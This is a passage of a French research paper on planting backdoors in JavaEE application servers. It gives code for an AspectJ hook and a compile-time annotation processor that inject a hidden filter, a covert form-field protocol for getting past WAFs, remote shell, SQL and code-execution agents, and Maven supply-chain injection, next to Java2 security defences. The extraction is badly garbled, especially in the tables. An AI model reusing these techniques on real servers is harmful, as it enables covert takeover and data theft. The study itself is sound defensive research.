par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
